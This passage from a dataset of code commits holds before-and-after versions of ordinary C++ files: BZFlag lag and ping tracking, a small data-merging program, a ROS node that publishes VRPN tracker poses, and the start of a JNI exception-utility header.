true;\n  lastping    = info->now;\n  nextping    = info->now;\n  nextping   += 10.0f;\n  pingssent++;\n  return pingseqno;\n}\n\n\/\/ update absolute latency based on LagPing messages\nvoid LagInfo::updateLatency(float &waitTime) {\n  if (!info->isPlaying() || !info->isHuman())\n    return;\n  float delta = nextping - info->now;\n  if (delta < waitTime)\n    waitTime  = delta;\n}\n\nvoid LagInfo::setThreshold(float _threshold, float _max) {\n  threshold = _threshold;\n  max       = _max;\n}\n\n\/\/ Local Variables: ***\n\/\/ mode:C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<commit_msg>Don't take into account ping loss for now<commit_after>\/* bzflag\n * Copyright (c) 1993 - 2005 Tim Riker\n *\n * This package is free software;  you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named LICENSE that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n\/* interface header *\/\n#include \"LagInfo.h\"\n\nfloat LagInfo::threshold = 0.0;\nfloat LagInfo::max       = 0.0;\n\nLagInfo::LagInfo(PlayerInfo *_info)\n  : info(_info), lagavg(0), jitteravg(0), lostavg(0), lagalpha(1),\n    jitteralpha(1), lostalpha(1), lagcount(0), laglastwarn(0), lagwarncount(0),\n    pingpending(false), pingseqno(0), pingssent(0), lasttimestamp(0.0f) {\n}\n\nvoid LagInfo::reset()\n{\n  nextping       = info->now;\n  nextping      += 10.0;\n  lastupdate     = info->now;\n}\n\nint LagInfo::getLag() const\n{\n  return int(lagavg * 1000);\n}\n\nvoid LagInfo::getLagStats(char* msg) const\n{\n  msg[0] = 0;\n  if (!info->isPlaying() || !info->isHuman())\n    return;\n\n  \/\/ don't wait for ping to come back\n  int lag = int(lagavg * 1000);\n  if (pingpending) {\n    float timepassed = info->now - lastping;\n    int lastLag = int((lagavg * (1 - lagalpha) + lagalpha * timepassed) * 1000);\n    if (lastLag > lag)\n      lag = lastLag;\n  }\n  sprintf(msg,\"%s\\t: %3d +- %2dms\", info->getCallSign(),\n\t  lag, int(jitteravg * 1000));\n  if (lostavg >= 0.01f)\n    sprintf(msg + strlen(msg), \" %d%% lost\/ooo\", int(lostavg * 100));\n}\n\n\/\/ update absolute latency based on LagPing messages\nint LagInfo::updatePingLag(void *buf, bool &warn, bool &kick) {\n  uint16_t _pingseqno;\n  int lag = 0;\n  nboUnpackUShort(buf, _pingseqno);\n  if (pingseqno == _pingseqno) {\n    float timepassed = info->now - lastping;\n    \/\/ time is smoothed exponentially using a dynamic smoothing factor\n    lagavg   = lagavg * (1 - lagalpha) + lagalpha * timepassed;\n    lagalpha = lagalpha \/ (0.9f + lagalpha);\n    lag      = int(lagavg * 1000);\n    lagcount++;\n\n    \/\/ if lag has been good for some time, forget old warnings\n    if (lagavg < threshold && lagcount - laglastwarn >= 20)\n      lagwarncount = 0;\n\n    \/\/ warn players from time to time whose lag is > threshold (-lagwarn)\n    if (!info->isObserver() && (threshold > 0) && lagavg > threshold\n\t&& lagcount - laglastwarn > 2 * lagwarncount) {\n      laglastwarn = lagcount;\n      warn = true;\n      kick = (lagwarncount++ > max);\n    } else {\n      warn = false;\n      kick = false;\n    }\n    lostavg     = lostavg * (1 - lostalpha);\n    lostalpha   = lostalpha \/ (0.99f + lostalpha);\n    pingpending = false;\n  } else {\n    warn = false;\n    kick = false;\n  }\n  return lag;\n}\n\nvoid LagInfo::updateLag(float timestamp, bool ooo) {\n  if (!info->isPlaying())\n    return;\n  if (ooo) {\n    lostavg   = lostavg * (1 - lostalpha) + lostalpha;\n    lostalpha = lostalpha \/ (0.99f + lostalpha);\n  }\n  \/\/ don't calc jitter if more than 2 seconds between packets\n  if (lasttimestamp > 0.0f && timestamp - lasttimestamp < 2.0f) {\n    const float jitter = fabs(info->now - lastupdate\n\t\t\t      - (timestamp - lasttimestamp));\n    \/\/ time is smoothed exponentially using a dynamic smoothing factor\n    jitteravg   = jitteravg * (1 - jitteralpha) + jitteralpha * fabs(jitter);\n    jitteralpha = jitteralpha \/ (0.99f + jitteralpha);\n    lostavg     = lostavg * (1 - lostalpha);\n    lostalpha   = lostalpha \/ (0.99f + lostalpha);\n  }\n  lasttimestamp = timestamp;\n  lastupdate    = info->now;\n}\n\nint LagInfo::getNextPingSeqno(bool &warn, bool &kick) {\n\n  warn = false;\n  kick = false;\n\n  if (!info->isPlaying() || !info->isHuman())\n    return -1;\n\n  if (info->now <= nextping)\n    \/\/ no time for pinging\n    return -1;\n\n  pingseqno = (pingseqno + 1) % 10000;\n  if (pingpending) {\n    \/\/ ping lost\n    lostavg   = lostavg * (1 - lostalpha) + lostalpha;\n    lostalpha = lostalpha \/ (0.99f + lostalpha);\n  }\n\n  pingpending = true;\n  lastping    = info->now;\n  nextping    = info->now;\n  nextping   += 10.0f;\n  pingssent++;\n  return pingseqno;\n}\n\n\/\/ update absolute latency based on LagPing messages\nvoid LagInfo::updateLatency(float &waitTime) {\n  if (!info->isPlaying() || !info->isHuman())\n    return;\n  float delta = nextping - info->now;\n  if (delta < waitTime)\n    waitTime  = delta;\n}\n\nvoid LagInfo::setThreshold(float _threshold, float _max) {\n  threshold = _threshold;\n  max       = _max;\n}\n\n\/\/ Local Variables: ***\n\/\/ mode:C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <vector>\n#include <string>\n\nusing namespace std;\n\nint main()\n{\n\tvector<string> directories;\n\tdirectories.push_back(string(\"10.1\"));\n\tdirectories.push_back(string(\"10.2\"));\n\tdirectories.push_back(string(\"10.3\"));\n\tdirectories.push_back(string(\"10.4\"));\n\tdirectories.push_back(string(\"10.5\"));\n\tdirectories.push_back(string(\"10.6\"));\n\n\tfstream fout1(\"logw.txt\", ios::out);\n\tfstream fout2(\"scalars.txt\", ios::out);\n\n\tint k = 0;\n\tfor(size_t i=0; i<directories.size(); i++)\n\t{\n\t\tstring filename1 = directories[i] + string(\"\/logw.txt\");\n\t\tfstream fin1(filename1.c_str(), ios::in);\n\n\t\tstring filename2 = directories[i] + string(\"\/scalars.txt\");\n\t\tfstream fin2(filename2.c_str(), ios::in);\n\n\t\tdouble temp1, temp2, temp3;\n\t\twhile(fin1>>temp1 && fin2>>temp2 && fin2>>temp3)\n\t\t{\n\t\t\tfout1<<temp1<<endl;\n\t\t\tfout2<<temp2<<' '<<temp3<<endl;\n\t\t\tk++;\n\t\t}\n\n\t\tfin1.close();\n\t\tfin2.close();\n\n\t\tcout<<\"# Processed \"<<k<<\" points.\"<<endl;\n\t}\n\n\tfout1.close();\n\tfout2.close();\n\n\treturn 0;\n}\n\n<commit_msg>Two more directories<commit_after>#include <iostream>\n#include <fstream>\n#include <vector>\n#include <string>\n\nusing namespace std;\n\nint main()\n{\n\tvector<string> directories;\n\tdirectories.push_back(string(\"10.1\"));\n\tdirectories.push_back(string(\"10.2\"));\n\tdirectories.push_back(string(\"10.3\"));\n\tdirectories.push_back(string(\"10.4\"));\n\tdirectories.push_back(string(\"10.5\"));\n\tdirectories.push_back(string(\"10.6\"));\n\tdirectories.push_back(string(\"10.7\"));\n\tdirectories.push_back(string(\"10.8\"));\n\n\tfstream fout1(\"logw.txt\", ios::out);\n\tfstream fout2(\"scalars.txt\", ios::out);\n\n\tint k = 0;\n\tfor(size_t i=0; i<directories.size(); i++)\n\t{\n\t\tstring filename1 = directories[i] + string(\"\/logw.txt\");\n\t\tfstream fin1(filename1.c_str(), ios::in);\n\n\t\tstring filename2 = directories[i] + string(\"\/scalars.txt\");\n\t\tfstream fin2(filename2.c_str(), ios::in);\n\n\t\tdouble temp1, temp2, temp3;\n\t\twhile(fin1>>temp1 && fin2>>temp2 && fin2>>temp3)\n\t\t{\n\t\t\tfout1<<temp1<<endl;\n\t\t\tfout2<<temp2<<' '<<temp3<<endl;\n\t\t\tk++;\n\t\t}\n\n\t\tfin1.close();\n\t\tfin2.close();\n\n\t\tcout<<\"# Processed \"<<k<<\" points.\"<<endl;\n\t}\n\n\tfout1.close();\n\tfout2.close();\n\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n# Copyright (c) 2011, Georgia Tech Research Corporation\n# All rights reserved.\n# \n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#     * Redistributions of source code must retain the above copyright\n#       notice, this list of conditions and the following disclaimer.\n#     * Redistributions in binary form must reproduce the above copyright\n#       notice, this list of conditions and the following disclaimer in the\n#       documentation and\/or other materials provided with the distribution.\n#     * Neither the name of the Georgia Tech Research Corporation nor the\n#       names of its contributors may be used to endorse or promote products\n#       derived from this software without specific prior written permission.\n# \n# THIS SOFTWARE IS PROVIDED BY GEORGIA TECH RESEARCH CORPORATION ''AS IS'' AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL GEORGIA TECH BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,\n# OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\n## author Advait Jain (Healthcare Robotics Lab, Georgia Tech.)\n## author Chih-Hung Aaron King (Healthcare Robotics Lab, Georgia Tech.)\n*\/\n\n\/\/== This application listens for a rigid body named 'Tracker' on a remote machine\n\/\/== and publishes & tf it's position and orientation through ROS.\n\n\n#include <ros\/ros.h>\n#include <tf\/transform_broadcaster.h>\n#include <geometry_msgs\/TransformStamped.h>\n#include <stdio.h>\n#include <math.h>\n\n#include <vrpn_Connection.h>\n#include <vrpn_Tracker.h> \n\n#include <LinearMath\/btQuaternion.h>\n\nvoid VRPN_CALLBACK track_target (void *, const vrpn_TRACKERCB t);\n\nclass TargetState{\n    public:\n        geometry_msgs::TransformStamped target;\n};\n\n\nTargetState *target_state;\nstd::string frame_id;\nstd::string corrdinate_system_string;\n\nenum CoordinateSystem {\n  vicon,\n  optitrack\n} corrdinate_system;\n\n\/\/ set to true in the VRPN callback function.\nbool fresh_data = false;\nvrpn_TRACKERCB prev_vrpn_data;\n\n\nclass Rigid_Body {\n    private:\n        ros::Publisher target_pub;\n        tf::TransformBroadcaster br;\n        vrpn_Connection *connection;\n        vrpn_Tracker_Remote *tracker;\n\n    public:\n        Rigid_Body(ros::NodeHandle& nh, std::string server_ip,\n                   int port) \n        {\n            target_pub = nh.advertise<geometry_msgs::TransformStamped>(\"pose\", 100);\n            std::string connec_nm = server_ip + \":\" + boost::lexical_cast<std::string>(port);\n            connection = vrpn_get_connection_by_name(connec_nm.c_str());\n            std::string target_name = nh.getNamespace().substr(1);\n            tracker = new vrpn_Tracker_Remote(target_name.c_str(), connection);\n            this->tracker->register_change_handler(NULL, track_target);\n        }\n\n        void publish_target_state(TargetState *target_state)\n        {\n            br.sendTransform(target_state->target);\n            target_pub.publish(target_state->target);\n        }    \t\n\n        void step_vrpn()\n        {\n            this->tracker->mainloop();\n            this->connection->mainloop();\n        }\n};\n\n\/\/== Tracker Position\/Orientation Callback ==--\nvoid VRPN_CALLBACK track_target (void *, const vrpn_TRACKERCB t)\n{\n    btQuaternion q_orig(t.quat[0], t.quat[1], t.quat[2], t.quat[3]);\n    btQuaternion q_fix(0.70710678, 0., 0., 0.70710678);\n\n    btQuaternion q_rot;\n    btVector3 pos;\n    switch(corrdinate_system) {\n      case optitrack: {\n        \/\/ optitrak <-- funky <-- object\n        \/\/ the q_fix.inverse() esures that when optitrak_funky says 0 0 0\n        \/\/ for roll pitch yaw, there is still a rotation that aligns the\n        \/\/ object frame with the \/optitrak frame (and not \/optitrak_funky)\n        q_rot = q_fix * q_orig * q_fix.inverse();\n        pos = btVector3(t.pos[0], -t.pos[2], t.pos[1]);\n        break;\n      }\n      case vicon: {\n        q_rot = q_orig;  \/\/TODO(gohlp) verify this\n        pos = btVector3(t.pos[0], t.pos[1], t.pos[2]);\n        break;\n      }\n      default: {\n        ROS_FATAL(\"Coordinate system not defined!\");\n        break;\n      }\n    }\n\n    \/\/ verifying that each callback indeed gives fresh data.\n    if ( prev_vrpn_data.quat[0] == t.quat[0] and \\\n         prev_vrpn_data.quat[1] == t.quat[1] and \\\n         prev_vrpn_data.quat[2] == t.quat[2] and \\\n         prev_vrpn_data.quat[3] == t.quat[3] and \\\n         prev_vrpn_data.pos[0] == t.pos[0] and \\\n         prev_vrpn_data.pos[1] == t.pos[1] and \\\n         prev_vrpn_data.pos[2] == t.pos[2] )\n        ROS_WARN(\"Repeated Values\");\n\n    prev_vrpn_data = t;\n\n    target_state->target.transform.translation.x = pos.x();\n    target_state->target.transform.translation.y = pos.y();\n    target_state->target.transform.translation.z = pos.z();\n\n    target_state->target.transform.rotation.x = q_rot.x();\n    target_state->target.transform.rotation.y = q_rot.y();\n    target_state->target.transform.rotation.z = q_rot.z();\n    target_state->target.transform.rotation.w = q_rot.w();\n\n    target_state->target.header.frame_id = corrdinate_system_string;\n    target_state->target.child_frame_id = frame_id;\n    target_state->target.header.stamp = ros::Time::now();\n\n    fresh_data = true;\n}\n\n\n\nint main(int argc, char* argv[])\n{\n    ros::init(argc, argv, \"vrpn_tracked_object_1\");\n    ros::NodeHandle nh(\"~\");\n\n    target_state = new TargetState;\n    \/\/frame_id = nh.getNamespace().substr(1);\n    frame_id = nh.getNamespace();\n\n    std::string vrpn_server_ip;\n    int vrpn_port;\n    std::string tracked_object_name;\n\n    nh.param<std::string>(\"vrpn_server_ip\", vrpn_server_ip, std::string());\n    nh.param<int>(\"vrpn_port\", vrpn_port, 3883);\n    nh.param<std::string>(\"vrpn_coordinate_system\", corrdinate_system_string, \"vicon\");\n\n\n    std::cout<<\"vrpn_server_ip:\"<<vrpn_server_ip<<std::endl;\n    std::cout<<\"vrpn_port:\"<<vrpn_port<<std::endl;\n    std::cout << \"vrpn_coordinate_system:\" << corrdinate_system_string << std::endl;\n\n    if(corrdinate_system_string == std::string(\"vicon\")) {\n\n    } else if(corrdinate_system_string == std::string(\"optitrack\")) {\n\n    } else {\n      ROS_FATAL(\"ROS param vrpn_coordinate_system should be either 'vicon' or 'optitrack'!\");\n    }\n\n    Rigid_Body tool(nh, vrpn_server_ip, vrpn_port);\n\n    ros::Rate loop_rate(1000); \/\/TODO(gohlp): fix this\n\n    while(ros::ok())\n    {\n        tool.step_vrpn();\n        \/\/vrpn_SleepMsecs(10);\n        if (fresh_data == true)\n        { \/\/ only publish when receive data over VRPN.\n            tool.publish_target_state(target_state);\n            fresh_data = false;\n        }\n        \/\/ros::spinOnce();\n        loop_rate.sleep();\n    }\n\treturn 0;\n}\n\n\n\n<commit_msg>clean up<commit_after>\/*\n# Copyright (c) 2011, Georgia Tech Research Corporation\n# All rights reserved.\n# \n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#     * Redistributions of source code must retain the above copyright\n#       notice, this list of conditions and the following disclaimer.\n#     * Redistributions in binary form must reproduce the above copyright\n#       notice, this list of conditions and the following disclaimer in the\n#       documentation and\/or other materials provided with the distribution.\n#     * Neither the name of the Georgia Tech Research Corporation nor the\n#       names of its contributors may be used to endorse or promote products\n#       derived from this software without specific prior written permission.\n# \n# THIS SOFTWARE IS PROVIDED BY GEORGIA TECH RESEARCH CORPORATION ''AS IS'' AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL GEORGIA TECH BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,\n# OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\n## author Advait Jain (Healthcare Robotics Lab, Georgia Tech.)\n## author Chih-Hung Aaron King (Healthcare Robotics Lab, Georgia Tech.)\n*\/\n\n\/\/== This application listens for a rigid body named 'Tracker' on a remote machine\n\/\/== and publishes & tf it's position and orientation through ROS.\n\n\n#include <ros\/ros.h>\n#include <tf\/transform_broadcaster.h>\n#include <geometry_msgs\/TransformStamped.h>\n#include <stdio.h>\n#include <math.h>\n\n#include <vrpn_Connection.h>\n#include <vrpn_Tracker.h> \n\n#include <LinearMath\/btQuaternion.h>\n\nvoid VRPN_CALLBACK track_target (void *, const vrpn_TRACKERCB t);\n\nclass TargetState{\n    public:\n        geometry_msgs::TransformStamped target;\n};\n\n\nTargetState *target_state;\nstd::string frame_id;\nstd::string corrdinate_system_string;\n\nenum CoordinateSystem {\n  vicon,\n  optitrack\n} corrdinate_system;\n\n\/\/ set to true in the VRPN callback function.\nbool fresh_data = false;\nvrpn_TRACKERCB prev_vrpn_data;\n\n\nclass Rigid_Body {\n    private:\n        ros::Publisher target_pub;\n        tf::TransformBroadcaster br;\n        vrpn_Connection *connection;\n        vrpn_Tracker_Remote *tracker;\n\n    public:\n        Rigid_Body(ros::NodeHandle& nh, std::string server_ip,\n                   int port) \n        {\n            target_pub = nh.advertise<geometry_msgs::TransformStamped>(\"pose\", 100);\n            std::string connec_nm = server_ip + \":\" + boost::lexical_cast<std::string>(port);\n            connection = vrpn_get_connection_by_name(connec_nm.c_str());\n            std::string target_name = nh.getNamespace().substr(1);\n            tracker = new vrpn_Tracker_Remote(target_name.c_str(), connection);\n            this->tracker->register_change_handler(NULL, track_target);\n        }\n\n        void publish_target_state(TargetState *target_state)\n        {\n            br.sendTransform(target_state->target);\n            target_pub.publish(target_state->target);\n        }    \t\n\n        void step_vrpn()\n        {\n            this->tracker->mainloop();\n            this->connection->mainloop();\n        }\n};\n\n\/\/== Tracker Position\/Orientation Callback ==--\nvoid VRPN_CALLBACK track_target (void *, const vrpn_TRACKERCB t)\n{\n    btQuaternion q_orig(t.quat[0], t.quat[1], t.quat[2], t.quat[3]);\n    btQuaternion q_fix(0.70710678, 0., 0., 0.70710678);\n\n    btQuaternion q_rot;\n    btVector3 pos;\n    switch(corrdinate_system) {\n      case optitrack: {\n        \/\/ optitrak <-- funky <-- object\n        \/\/ the q_fix.inverse() esures that when optitrak_funky says 0 0 0\n        \/\/ for roll pitch yaw, there is still a rotation that aligns the\n        \/\/ object frame with the \/optitrak frame (and not \/optitrak_funky)\n        q_rot = q_fix * q_orig * q_fix.inverse();\n        pos = btVector3(t.pos[0], -t.pos[2], t.pos[1]);\n        break;\n      }\n      case vicon: {\n        q_rot = q_orig;\n        pos = btVector3(t.pos[0], t.pos[1], t.pos[2]);\n        break;\n      }\n      default: {\n        ROS_FATAL(\"Coordinate system not defined!\");\n        break;\n      }\n    }\n\n    \/\/ verifying that each callback indeed gives fresh data.\n    if ( prev_vrpn_data.quat[0] == t.quat[0] and \\\n         prev_vrpn_data.quat[1] == t.quat[1] and \\\n         prev_vrpn_data.quat[2] == t.quat[2] and \\\n         prev_vrpn_data.quat[3] == t.quat[3] and \\\n         prev_vrpn_data.pos[0] == t.pos[0] and \\\n         prev_vrpn_data.pos[1] == t.pos[1] and \\\n         prev_vrpn_data.pos[2] == t.pos[2] )\n        ROS_WARN(\"Repeated Values\");\n\n    prev_vrpn_data = t;\n\n    target_state->target.transform.translation.x = pos.x();\n    target_state->target.transform.translation.y = pos.y();\n    target_state->target.transform.translation.z = pos.z();\n\n    target_state->target.transform.rotation.x = q_rot.x();\n    target_state->target.transform.rotation.y = q_rot.y();\n    target_state->target.transform.rotation.z = q_rot.z();\n    target_state->target.transform.rotation.w = q_rot.w();\n\n    target_state->target.header.frame_id = corrdinate_system_string;\n    target_state->target.child_frame_id = frame_id;\n    target_state->target.header.stamp = ros::Time::now();\n\n    fresh_data = true;\n}\n\n\n\nint main(int argc, char* argv[])\n{\n    ros::init(argc, argv, \"vrpn_tracked_object_1\");\n    ros::NodeHandle nh(\"~\");\n\n    target_state = new TargetState;\n    \/\/frame_id = nh.getNamespace().substr(1);\n    frame_id = nh.getNamespace();\n\n    std::string vrpn_server_ip;\n    int vrpn_port;\n    std::string tracked_object_name;\n\n    nh.param<std::string>(\"vrpn_server_ip\", vrpn_server_ip, std::string());\n    nh.param<int>(\"vrpn_port\", vrpn_port, 3883);\n    nh.param<std::string>(\"vrpn_coordinate_system\", corrdinate_system_string, \"vicon\");\n\n\n    std::cout<<\"vrpn_server_ip:\"<<vrpn_server_ip<<std::endl;\n    std::cout<<\"vrpn_port:\"<<vrpn_port<<std::endl;\n    std::cout << \"vrpn_coordinate_system:\" << corrdinate_system_string << std::endl;\n\n    if(corrdinate_system_string == std::string(\"vicon\")) {\n\n    } else if(corrdinate_system_string == std::string(\"optitrack\")) {\n\n    } else {\n      ROS_FATAL(\"ROS param vrpn_coordinate_system should be either 'vicon' or 'optitrack'!\");\n    }\n\n    Rigid_Body tool(nh, vrpn_server_ip, vrpn_port);\n\n    ros::Rate loop_rate(1000); \/\/TODO(gohlp): fix this\n\n    while(ros::ok())\n    {\n        tool.step_vrpn();\n        \/\/vrpn_SleepMsecs(10);\n        if (fresh_data == true)\n        { \/\/ only publish when receive data over VRPN.\n            tool.publish_target_state(target_state);\n            fresh_data = false;\n        }\n        \/\/ros::spinOnce();\n        loop_rate.sleep();\n    }\n\treturn 0;\n}\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef UTILS_UTILS_HPP\n#define UTILS_UTILS_HPP\n\n\n#include <joint\/devkit\/ExceptionInfo.hpp>\n#include <joint\/devkit\/JointException.hpp>\n#include <joint\/devkit\/ScopeExit.hpp>\n#include <joint\/devkit\/StringBuilder.hpp>\n\n#include <utils\/JPtr.hpp>\n\n\n#define JNI_WRAP_CPP_BEGIN \\\n\ttry {\n\n#define JNI_WRAP_CPP_END(OkRetVal_, FailRetVal_) \\\n\t\treturn (OkRetVal_); \\\n\t} catch (const std::exception& ex) { \\\n\t\tGetLogger().Error() << JOINT_SOURCE_LOCATION \": \" << ex; \\\n\t\t::joint::java::ThrowJavaException(env, ex.what()); \\\n\t\treturn (FailRetVal_); \\\n\t}\n\n#define JNI_WRAP_CPP_END_VOID() \\\n\t} catch (const std::exception& ex) { \\\n\t\tGetLogger().Error() << JOINT_SOURCE_LOCATION \": \" << ex; \\\n\t\t::joint::java::ThrowJavaException(env, ex.what()); \\\n\t}\n\n\n#define JAVA_CALL(...) JAVA_CALL_EX(env, __VA_ARGS__)\n#define JAVA_CALL_EX(Env_, ...) ::joint::java::JavaCallImpl(Env_, (__VA_ARGS__), JOINT_SOURCE_LOCATION)\n\n#define JAVA_CALL_VOID(...) JAVA_CALL_VOID_EX(env, __VA_ARGS__)\n#define JAVA_CALL_VOID_EX(Env_, ...) do { __VA_ARGS__; ::joint::java::JavaCallImpl(Env_, 0, JOINT_SOURCE_LOCATION); } while (false)\n\n\nnamespace joint {\nnamespace java\n{\n\n\tclass StringDataHolder\n\t{\n\tprivate:\n\t\tJNIEnv*            _env;\n\t\tjstring            _strObj;\n\t\tconst char*        _data;\n\n\tpublic:\n\t\tStringDataHolder(JStringWeakRef str)\n\t\t{ Init(str.GetEnv(), str.Get()); }\n\n\t\t~StringDataHolder()\n\t\t{ _env->ReleaseStringUTFChars(_strObj, _data); }\n\n\t\tconst char* GetData() const\n\t\t{ return _data; }\n\n\tprivate:\n\t\tvoid Init(JNIEnv* env, jstring str)\n\t\t{\n\t\t\t_env = JOINT_DEVKIT_REQUIRE_NOT_NULL(env);\n\t\t\t_strObj = JOINT_DEVKIT_REQUIRE_NOT_NULL(str);\n\t\t\tjboolean is_copy = false;\n\t\t\t_data = _env->GetStringUTFChars(_strObj, &is_copy);\n\t\t}\n\t};\n\n\n\tinline std::string ToStdString(JStringTempRef str)\n\t{ return StringDataHolder(str.Weak()).GetData(); }\n\n\n\tinline void ThrowJavaException(JNIEnv* env, const std::string& msg)\n\t{\n\t\tconst char* LoggerName = \"Joint.Java.Utils\";\n\n\t\tauto jmsg = JStringLocalRef::StealLocal(env, env->NewStringUTF(msg.c_str()));\n\t\tauto RuntimeException_cls = JClassLocalRef::StealLocal(env, env->FindClass(\"java\/lang\/RuntimeException\"));\n\t\tif (!RuntimeException_cls)\n\t\t\tJOINT_TERMINATE(\"Could not find class java.lang.RuntimeException\");\n\n\t\tjmethodID RuntimeException_ctor_id = env->GetMethodID(RuntimeException_cls.Get(), \"<init>\", \"(Ljava\/lang\/String;)V\");\n\t\tif (!RuntimeException_ctor_id)\n\t\t\tJOINT_TERMINATE(\"Could not find java.lang.RuntimeException(java.lang.String) constructor\");\n\n\t\tauto ex = JThrowableLocalRef::StealLocal(env, reinterpret_cast<jthrowable>(env->NewObject(RuntimeException_cls.Get(), RuntimeException_ctor_id, jmsg.Get())));\n\t\tif (!ex)\n\t\t\tJOINT_TERMINATE(\"Could not create java.lang.RuntimeException object\");\n\n\t\tenv->Throw(ex.Get());\n\t}\n\n\n#define DETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION do { if (env->ExceptionCheck()) JOINT_TERMINATE_EX(\"Joint.Java.Utils\", \"Got an exception from java while processing another one\"); } while (false)\n\n\tinline devkit::ExceptionInfo GetJavaExceptionInfo(JNIEnv *env)\n\t{\n\t\tusing namespace devkit;\n\n\t\tif (!env->ExceptionCheck())\n\t\t\tJOINT_TERMINATE_EX(\"Joint.Java.Utils\", \"GetJavaExceptionInfo failed: no active java exception\");\n\n\t\tjthrowable raw_throwable = env->ExceptionOccurred();\n\t\tenv->ExceptionClear();\n\t\tauto ex = JThrowableLocalRef::StealLocal(env, raw_throwable);\n\n\t\tauto throwable_class = JClassLocalRef::StealLocal(env, env->FindClass(\"java\/lang\/Throwable\"));\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tjmethodID toString_id = env->GetMethodID(throwable_class.Get(), \"toString\", \"()Ljava\/lang\/String;\");\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tjmethodID getStackTrace_id = env->GetMethodID(throwable_class.Get(), \"getStackTrace\", \"()[Ljava\/lang\/StackTraceElement;\");\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tauto jmsg = JStringLocalRef::StealLocal(env, env->CallObjectMethod(ex.Get(), toString_id));\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\n\t\tauto ste_class = JClassLocalRef::StealLocal(env, env->FindClass(\"java\/lang\/StackTraceElement\"));\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tjmethodID ste_getClassName_id = env->GetMethodID(ste_class.Get(), \"getClassName\", \"()Ljava\/lang\/String;\");\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tjmethodID ste_getFileName_id = env->GetMethodID(ste_class.Get(), \"getFileName\", \"()Ljava\/lang\/String;\");\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tjmethodID ste_getLineNumber_id = env->GetMethodID(ste_class.Get(), \"getLineNumber\", \"()I\");\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tjmethodID ste_getMethodName_id = env->GetMethodID(ste_class.Get(), \"getMethodName\", \"()Ljava\/lang\/String;\");\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tauto jst = JObjArrayLocalRef::StealLocal(env, env->CallObjectMethod(ex.Get(), getStackTrace_id));\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\n\t\tauto st_len = env->GetArrayLength(jst.Get());\n\t\tExceptionInfo::StackTrace st;\n\n\t\tauto JointException_cls = JClassLocalRef::StealLocal(env, env->FindClass(\"org\/joint\/JointException\"));\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tif (env->IsInstanceOf(ex.Get(), JointException_cls.Get()))\n\t\t{\n\t\t\tjfieldID nativeData_id = env->GetFieldID(JointException_cls.Get(), \"nativeData\", \"J\");\n\t\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\t\tauto ex_info = reinterpret_cast<const ExceptionInfo*>(env->GetLongField(ex.Get(), 